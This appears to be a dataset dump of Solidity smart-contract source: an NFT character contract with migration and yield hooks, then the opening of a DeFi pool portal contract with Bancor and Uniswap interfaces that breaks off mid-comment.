setTotalSupply(uint256 totalSupply_) external onlyOwner { totalSupply = totalSupply_; } // // Initializer // This is a custom Transfer emitter for the initialize of this contract only function initialize(uint256[] calldata tokenIds_, address[] calldata owners_) external onlyOwner { require(tokenIds_.length == owners_.length, "initialize(): array length mismatch!"); for (uint256 i = 0; i < tokenIds_.length; i++) { emit Transfer(address(0x0), owners_[i], tokenIds_[i]); } } // OwnerOf (Proxy View) function ownerOf(uint256 tokenId_) public view returns (address) { // Find out of the _ownerOf slot has been initialized. // We hardcode the tokenId_ to save gas. if (tokenId_ <= 3259 && _ownerOf[tokenId_] == address(0x0)) { // _ownerOf[tokenId_] is not initialized yet, so return the CM V1 value. return CM.ownerOf(tokenId_); } else { // If it is already initialized, or is higher than migration Id // return local state storage instead. return _ownerOf[tokenId_]; } } // BalanceOf (Proxy View) function balanceOf(address address_) public view returns (uint256) { // Proxy the balance function // We have a tracker of initialization of _balanceOf to track the differences // If initialized, we use the state storage. Otherwise, we use CM V1 storage. if (_balanceOfInitialized[address_]) { return _balanceOf[address_]; } else { return CM.balanceOf(address_); } } // Events! L[o_o]β…ƒ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Mint(address indexed to, uint256 tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); // Functions function _mint(address to_, uint256 tokenId_) internal virtual { require(to_ != address(0x0), "ERC721IMigrator: _mint() Mint to Zero Address!"); require(ownerOf(tokenId_) == address(0x0), "ERC721IMigrator: _mint() Token already Exists!"); // // ERC721I Logic // We set _ownerOf in a normal way _ownerOf[tokenId_] = to_; // We rebalance the _balanceOf on initialization, otherwise follow normal ERC721I logic if (_balanceOfInitialized[to_]) { // If we are already initialized _balanceOf[to_]++; } else { _balanceOf[to_] = (CM.balanceOf(to_) + 1); _balanceOfInitialized[to_] = true; } // Increment TotalSupply as normal totalSupply++; // // ERC721I Logic End // Emit Events emit Transfer(address(0x0), to_, tokenId_); emit Mint(to_, tokenId_); } function _transfer(address from_, address to_, uint256 tokenId_) internal virtual { require(from_ == ownerOf(tokenId_), "ERC721IMigrator: _transfer() Transfer from_ != ownerOf(tokenId_)"); require(to_ != address(0x0), "ERC721IMigrator: _transfer() Transfer to Zero Address!"); // // ERC721I Transfer Logic // If token has an approval if (getApproved[tokenId_] != address(0x0)) { // Remove the outstanding approval getApproved[tokenId_] = address(0x0); } // Set the _ownerOf to the receiver _ownerOf[tokenId_] = to_; // // Initialize and Rebalance _balanceOf if (_balanceOfInitialized[from_]) { // If from_ is initialized, do normal balance change _balanceOf[from_]--; } else { // If from_ is NOT initialized, follow rebalance flow _balanceOf[from_] = (CM.balanceOf(from_) - 1); // Set from_ as initialized _balanceOfInitialized[from_] = true; } if (_balanceOfInitialized[to_]) { // If to_ is initialized, do normal balance change _balanceOf[to_]++; } else { // If to_ is NOT initialized, follow rebalance flow _balanceOf[to_] = (CM.balanceOf(to_) + 1); // Set to_ as initialized; _balanceOfInitialized[to_] = true; } // // ERC721I Transfer Logic End emit Transfer(from_, to_, tokenId_); } // Approvals function _approve(address to_, uint256 tokenId_) internal virtual { if (getApproved[tokenId_] != to_) { getApproved[tokenId_] = to_; emit Approval(ownerOf(tokenId_), to_, tokenId_); } } function _setApprovalForAll(address owner_, address operator_, bool approved_) internal virtual { require(owner_ != operator_, "ERC721IMigrator: _setApprovalForAll() Owner must not be the Operator!"); isApprovedForAll[owner_][operator_] = approved_; emit ApprovalForAll(owner_, operator_, approved_); } // // Functional Internal Views function _isApprovedOrOwner(address spender_, uint256 tokenId_) internal view returns (bool) { address _owner = ownerOf(tokenId_); require(_owner != address(0x0), "ERC721IMigrator: _isApprovedOrOwner() Owner is Zero Address!"); return (spender_ == _owner // is the owner OR || spender_ == getApproved[tokenId_] // is approved for token OR || isApprovedForAll[_owner][spender_] // isApprovedForAll spender ); } // Exists function _exists(uint256 tokenId_) internal view virtual returns (bool) { // We hardcode tokenId_ for gas savings if (tokenId_ <= 3259) { return true; } return _ownerOf[tokenId_] != address(0x0); } // Public Write Functions function approve(address to_, uint256 tokenId_) public virtual { address _owner = ownerOf(tokenId_); require(to_ != _owner, "ERC721IMigrator: approve() cannot approve owner!"); require(msg.sender == _owner // sender is the owner of the token || isApprovedForAll[_owner][msg.sender], // or isApprovedForAll for the owner "ERC721IMigrator: approve() Caller is not owner of isApprovedForAll!"); _approve(to_, tokenId_); } // SetApprovalForAll - the msg.sender is always the subject of approval function setApprovalForAll(address operator_, bool approved_) public virtual { _setApprovalForAll(msg.sender, operator_, approved_); } // Transfers function transferFrom(address from_, address to_, uint256 tokenId_) public virtual { require(_isApprovedOrOwner(msg.sender, tokenId_), "ERC721IMigrator: transferFrom() _isApprovedOrOwner = false!"); _transfer(from_, to_, tokenId_); } function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory data_) public virtual { transferFrom(from_, to_, tokenId_); if (to_.code.length != 0) { (, bytes memory _returned) = to_.staticcall(abi.encodeWithSelector(0x150b7a02, msg.sender, from_, tokenId_, data_)); bytes4 _selector = abi.decode(_returned, (bytes4)); require(_selector == 0x150b7a02, "ERC721IMigrator: safeTransferFrom() to_ not ERC721Receivable!"); } } function safeTransferFrom(address from_, address to_, uint256 tokenId_) public virtual { safeTransferFrom(from_, to_, tokenId_, ""); } // Native Multi-Transfers by 0xInuarashi function multiTransferFrom(address from_, address to_, uint256[] memory tokenIds_) public virtual { for (uint256 i = 0; i < tokenIds_.length; i++) { transferFrom(from_, to_, tokenIds_[i]); } } function multiSafeTransferFrom(address from_, address to_, uint256[] memory tokenIds_, bytes memory data_) public virtual { for (uint256 i = 0; i < tokenIds_.length; i++ ){ safeTransferFrom(from_, to_, tokenIds_[i], data_); } } // OZ Standard Stuff function supportsInterface(bytes4 interfaceId_) public pure returns (bool) { return (interfaceId_ == 0x80ac58cd || interfaceId_ == 0x5b5e139f); } // High Gas Loop View Functions function walletOfOwner(address address_) public virtual view returns (uint256[] memory) { uint256 _balance = balanceOf(address_); uint256[] memory _tokens = new uint256[](_balance); uint256 _index; uint256 _loopThrough = totalSupply; for (uint256 i = 0; i < _loopThrough; i++) { // Add another loop through for each 0x0 until array is filled if (ownerOf(i) == address(0x0) && _tokens[_balance - 1] == 0) { _loopThrough++; } // Fill the array on each token found if (ownerOf(i) == address_) { // Record the ID in the index _tokens[_index] = i; // Increment the index _index++; } } return _tokens; } // TokenURIs Functions Omitted // } interface IERC721 { function ownerOf(uint256 tokenId_) external view returns (address); function transferFrom(address from_, address to_, uint256 tokenId_) external; } interface iCS { struct Character { uint8 race_; uint8 renderType_; uint16 transponderId_; uint16 spaceCapsuleId_; uint8 augments_; uint16 basePoints_; uint16 totalEquipmentBonus_; } struct Stats { uint8 strength_; uint8 agility_; uint8 constitution_; uint8 intelligence_; uint8 spirit_; } struct Equipment { uint8 weaponUpgrades_; uint8 chestUpgrades_; uint8 headUpgrades_; uint8 legsUpgrades_; uint8 vehicleUpgrades_; uint8 armsUpgrades_; uint8 artifactUpgrades_; uint8 ringUpgrades_; } // Create Character function createCharacter(uint tokenId_, Character memory Character_) external; // Characters function setName(uint256 tokenId_, string memory name_) external; function setRace(uint256 tokenId_, string memory race_) external; function setRenderType(uint256 tokenId_, uint8 renderType_) external; function setTransponderId(uint256 tokenId_, uint16 transponderId_) external; function setSpaceCapsuleId(uint256 tokenId_, uint16 spaceCapsuleId_) external; function setAugments(uint256 tokenId_, uint8 augments_) external; function setBasePoints(uint256 tokenId_, uint16 basePoints_) external; function setBaseEquipmentBonus(uint256 tokenId_, uint16 baseEquipmentBonus_) external; function setTotalEquipmentBonus(uint256 tokenId_, uint16 totalEquipmentBonus) external; // Stats function setStrength(uint256 tokenId_, uint8 strength_) external; function setAgility(uint256 tokenId_, uint8 agility_) external; function setConstitution(uint256 tokenId_, uint8 constitution_) external; function setIntelligence(uint256 tokenId_, uint8 intelligence_) external; function setSpirit(uint256 tokenId_, uint8 spirit_) external; // Equipment function setWeaponUpgrades(uint256 tokenId_, uint8 upgrade_) external; function setChestUpgrades(uint256 tokenId_, uint8 upgrade_) external; function setHeadUpgrades(uint256 tokenId_, uint8 upgrade_) external; function setLegsUpgrades(uint256 tokenId_, uint8 upgrade_) external; function setVehicleUpgrades(uint256 tokenId_, uint8 upgrade_) external; function setArmsUpgrades(uint256 tokenId_, uint8 upgrade_) external; function setArtifactUpgrades(uint256 tokenId_, uint8 upgrade_) external; function setRingUpgrades(uint256 tokenId_, uint8 upgrade_) external; // Structs and Mappings function names(uint256 tokenId_) external view returns (string memory); function characters(uint256 tokenId_) external view returns (Character memory); function stats(uint256 tokenId_) external view returns (Stats memory); function equipments(uint256 tokenId_) external view returns (Equipment memory); function contractToRace(address contractAddress_) external view returns (uint8); } interface iCC { function queryCharacterYieldRate(uint8 augments_, uint16 basePoints_, uint16 totalEquipmentBonus_) external view returns (uint256); function getEquipmentBaseBonus(uint16 spaceCapsuleId_) external view returns (uint16); } interface iMES { // View Functions function balanceOf(address address_) external view returns (uint256); function pendingRewards(address address_) external view returns (uint256); // Administration function setYieldRate(address address_, uint256 yieldRate_) external; function addYieldRate(address address_, uint256 yieldRateAdd_) external; function subYieldRate(address address_, uint256 yieldRateSub_) external; // Credits System function deductCredits(address address_, uint256 amount_) external; function addCredits(address address_, uint256 amount_) external; // Claiming function updateReward(address address_) external; function burn(address from, uint256 amount_) external; } interface iMetadata { function renderMetadata(uint256 tokenId_) external view returns (string memory); } contract MTMCharacters is ERC721IMigrator { constructor() ERC721IMigrator("MTM Characters", "CHARACTERS") {} // Interfaces iCS public CS; iCC public CC; iMES public MES; iMetadata public Metadata; IERC721 public TP; IERC721 public SC; function setContracts(address metadata_, address cc_, address cs_, address mes_, address tp_, address sc_) external onlyOwner { CS = iCS(cs_); CC = iCC(cc_); MES = iMES(mes_); Metadata = iMetadata(metadata_); TP = IERC721(tp_); SC = IERC721(sc_); } // Mappings mapping(address => mapping(uint256 => bool)) public contractAddressToTokenUploaded; // Internal Write Functions function __yieldMintHook(address to_, uint256 tokenId_) internal { // First, we update the reward. MES.updateReward(to_); // Then, we query the token yield rate. iCS.Character memory _Character = CS.characters(tokenId_); uint256 _tokenYieldRate = CC.queryCharacterYieldRate(_Character.augments_, _Character.basePoints_, _Character.totalEquipmentBonus_); // Lastly, we adjust the yield rate of the address. MES.addYieldRate(to_, _tokenYieldRate); } function __yieldTransferHook(address from_, address to_, uint256 tokenId_) internal { // First, we update the reward. MES.updateReward(from_); MES.updateReward(to_); // Then, we query the token yield rate. iCS.Character memory _Character = CS.characters(tokenId_); uint256 _tokenYieldRate = CC.queryCharacterYieldRate(_Character.augments_, _Character.basePoints_, _Character.totalEquipmentBonus_); // Lastly, we adjust the yield rate of the addresses. MES.subYieldRate(from_, _tokenYieldRate); MES.addYieldRate(to_, _tokenYieldRate); } // Public Write Functions mapping(uint8 => bool) public renderTypeAllowed; function setRenderTypeAllowed(uint8 renderType_, bool bool_) external onlyOwner { renderTypeAllowed[renderType_] = bool_; } function beamCharacter(uint256 transponderId_, uint256 spaceCapsuleId_, uint8 renderType_) public { require(msg.sender == TP.ownerOf(transponderId_) && msg.sender == SC.ownerOf(spaceCapsuleId_), "Unowned pair!"); require(renderTypeAllowed[renderType_], "This render type is not allowed!"); // Burn the Transponder and Space Capsule. TP.transferFrom(msg.sender, address(this), transponderId_); SC.transferFrom(msg.sender, address(this), spaceCapsuleId_); uint8 _race = uint8( (uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty, transponderId_, spaceCapsuleId_))) % 10) + 1 ); // RNG (1-10) uint16 _equipmentBonus = CC.getEquipmentBaseBonus((uint16(spaceCapsuleId_))); iCS.Character memory _Character = iCS.Character( _race, renderType_, uint16(transponderId_), uint16(spaceCapsuleId_), 0, 0, _equipmentBonus ); CS.createCharacter(totalSupply, _Character); __yieldMintHook(msg.sender, totalSupply); _mint(msg.sender, totalSupply); } function uploadCharacter(uint256 transponderId_, uint256 spaceCapsuleId_, uint8 renderType_, address contractAddress_, uint256 uploadId_) public { require(msg.sender == TP.ownerOf(transponderId_) && msg.sender == SC.ownerOf(spaceCapsuleId_), "Unowned pair!"); require(msg.sender == IERC721(contractAddress_).ownerOf(uploadId_), "You don't own this character!"); require(!contractAddressToTokenUploaded[contractAddress_][uploadId_], "This character has already been uploaded!"); require(renderTypeAllowed[renderType_], "This render type is not allowed!"); // Burn the Transponder and Space Capsule. Then, set the character as uploaded. TP.transferFrom(msg.sender, address(this), transponderId_); SC.transferFrom(msg.sender, address(this), spaceCapsuleId_); contractAddressToTokenUploaded[contractAddress_][uploadId_] = true; uint8 _race = CS.contractToRace(contractAddress_); uint16 _equipmentBonus = CC.getEquipmentBaseBonus((uint16(spaceCapsuleId_))); iCS.Character memory _Character = iCS.Character( _race, renderType_, uint16(transponderId_), uint16(spaceCapsuleId_), 0, 0, _equipmentBonus ); CS.createCharacter(totalSupply, _Character); __yieldMintHook(msg.sender, totalSupply); _mint(msg.sender, totalSupply); } // Public Write Multi-Functions function multiBeamCharacter(uint256[] memory transponderIds_, uint256[] memory spaceCapsuleIds_, uint8[] memory renderTypes_) public { require(transponderIds_.length == spaceCapsuleIds_.length, "Missing pairs!"); require(transponderIds_.length == renderTypes_.length, "Missing render type!"); for (uint256 i = 0; i < transponderIds_.length; i++) { beamCharacter(transponderIds_[i], spaceCapsuleIds_[i], renderTypes_[i]); } } function multiUploadCharacter(uint256[] memory transponderIds_, uint256[] memory spaceCapsuleIds_, uint8[] memory renderTypes_, address contractAddress_, uint256[] memory uploadIds_) public { require(transponderIds_.length == spaceCapsuleIds_.length, "Missing pairs!"); require(transponderIds_.length == renderTypes_.length, "Missing render type!"); require(transponderIds_.length == uploadIds_.length, "Upload IDs mismatched length!"); for (uint256 i = 0; i < transponderIds_.length; i++) { uploadCharacter(transponderIds_[i], spaceCapsuleIds_[i], renderTypes_[i], contractAddress_, uploadIds_[i]); } } // Transfer Hooks function transferFrom(address from_, address to_, uint256 tokenId_) public override { __yieldTransferHook(from_, to_, tokenId_); ERC721IMigrator.transferFrom(from_, to_, tokenId_); } function safeTransferFrom(address from_, address to_, uint256 tokenId_, bytes memory bytes_) public override { __yieldTransferHook(from_, to_, tokenId_); ERC721IMigrator.safeTransferFrom(from_, to_, tokenId_, bytes_); } // Public View Functions function tokenURI(uint256 tokenId_) public view returns (string memory) { require(_exists(tokenId_), "Character does not exist!"); return Metadata.renderMetadata(tokenId_); } }
Public View Functions
function tokenURI(uint256 tokenId_) public view returns (string memory) { require(_exists(tokenId_), "Character does not exist!"); return Metadata.renderMetadata(tokenId_); }
7,751,951
pragma solidity ^0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface ITokensTypeStorage { function isRegistred(address _address) external view returns(bool); function getType(address _address) external view returns(bytes32); function isPermittedAddress(address _address) external view returns(bool); function owner() external view returns(address); function addNewTokenType(address _token, string calldata _type) external; function setTokenTypeAsOwner(address _token, string calldata _type) external; } interface IBalancerPool { function joinPool(uint poolAmountOut, uint[] calldata maxAmountsIn) external; function exitPool(uint poolAmountIn, uint[] calldata minAmountsOut) external; function getCurrentTokens() external view returns (address[] memory tokens); } interface IUniswapV2Pair { function token0() external view returns (address); function token1() external view returns (address); } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface UniswapFactoryInterfaceV1 { // Create Exchange function createExchange(address token) external returns (address exchange); // Get Exchange and Token Info function getExchange(address token) external view returns (address exchange); function getToken(address exchange) external view returns (address token); function getTokenWithId(uint256 tokenId) external view returns (address token); // Never use function initializeFactory(address template) external; } interface UniswapExchangeInterface { // Address of ERC20 token sold on this exchange function tokenAddress() external view returns (address token); // Address of Uniswap Factory function factoryAddress() external view returns (address factory); // Provide Liquidity function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256); function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256); // Get Prices function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought); function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold); function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought); function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold); // Trade ETH to ERC20 function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought); function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought); function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold); function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold); // Trade ERC20 to ETH function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought); function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256 eth_bought); function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold); function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold); // Trade ERC20 to ERC20 function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought); function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought); function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold); function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold); // Trade ERC20 to Custom Pool function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought); function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought); function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold); function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold); // ERC20 comaptibility for liquidity tokens function name() external view returns(bytes32); function symbol() external view returns(bytes32); function decimals() external view returns(uint256); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function allowance(address _owner, address _spender) external view returns (uint256); function balanceOf(address _owner) external view returns (uint256); function totalSupply() external view returns (uint256); // Never use function setup(address token_addr) external; } interface IBancorFormula { function calculatePurchaseReturn(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _depositAmount) external view returns (uint256); function calculateSaleReturn(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _sellAmount) external view returns (uint256); function calculateCrossReserveReturn(uint256 _fromReserveBalance, uint32 _fromReserveRatio, uint256 _toReserveBalance, uint32 _toReserveRatio, uint256 _amount) external view returns (uint256); function calculateFundCost(uint256 _supply, uint256 _reserveBalance, uint32 _totalRatio, uint256 _amount) external view returns (uint256); function calculateLiquidateReturn(uint256 _supply, uint256 _reserveBalance, uint32 _totalRatio, uint256 _amount) external view returns (uint256); } interface SmartTokenInterface { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function disableTransfers(bool _disable) external; function issue(address _to, uint256 _amount) external; function destroy(address _from, uint256 _amount) external; function owner() external view returns (address); } interface IGetBancorData { function getBancorContractAddresByName(string calldata _name) external view returns (address result); function getBancorRatioForAssets(IERC20 _from, IERC20 _to, uint256 _amount) external view returns(uint256 result); function getBancorPathForAssets(IERC20 _from, IERC20 _to) external view returns(address[] memory); } interface BancorConverterInterfaceV2 { function addLiquidity(address _reserveToken, uint256 _amount, uint256 _minReturn) external payable; function removeLiquidity(address _poolToken, uint256 _amount, uint256 _minReturn) external; function poolToken(address _reserveToken) external view returns(address); function connectorTokenCount() external view returns (uint16); function connectorTokens(uint index) external view returns(IERC20); } interface BancorConverterInterfaceV1 { function addLiquidity( address[] calldata _reserveTokens, uint256[] calldata _reserveAmounts, uint256 _minReturn) external payable; function removeLiquidity( uint256 _amount, address[] calldata _reserveTokens, uint256[] calldata _reserveMinReturnAmounts) external; } interface BancorConverterInterface { function connectorTokens(uint index) external view returns(IERC20); function fund(uint256 _amount) external payable; function liquidate(uint256 _amount) external; function getConnectorBalance(IERC20 _connectorToken) external view returns (uint256); function connectorTokenCount() external view returns (uint16); } /* * This contract allow buy/sell pool for Bancor and Uniswap assets * and provide ratio and addition info for pool assets */ /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract PoolPortal is Ownable{ using SafeMath for uint256; uint public version = 4; IGetBancorData public bancorData; UniswapFactoryInterfaceV1 public uniswapFactoryV1; IUniswapV2Router public uniswapV2Router; // CoTrader platform recognize ETH by this address IERC20 constant private ETH_TOKEN_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // Enum // NOTE: You can add a new type at the end, but do not change this order enum PortalType { Bancor, Uniswap, Balancer } // events event BuyPool(address poolToken, uint256 amount, address trader); event SellPool(address poolToken, uint256 amount, address trader); // Contract for handle tokens types ITokensTypeStorage public tokensTypes; /** * @dev contructor * * @param _bancorData address of helper contract GetBancorData * @param 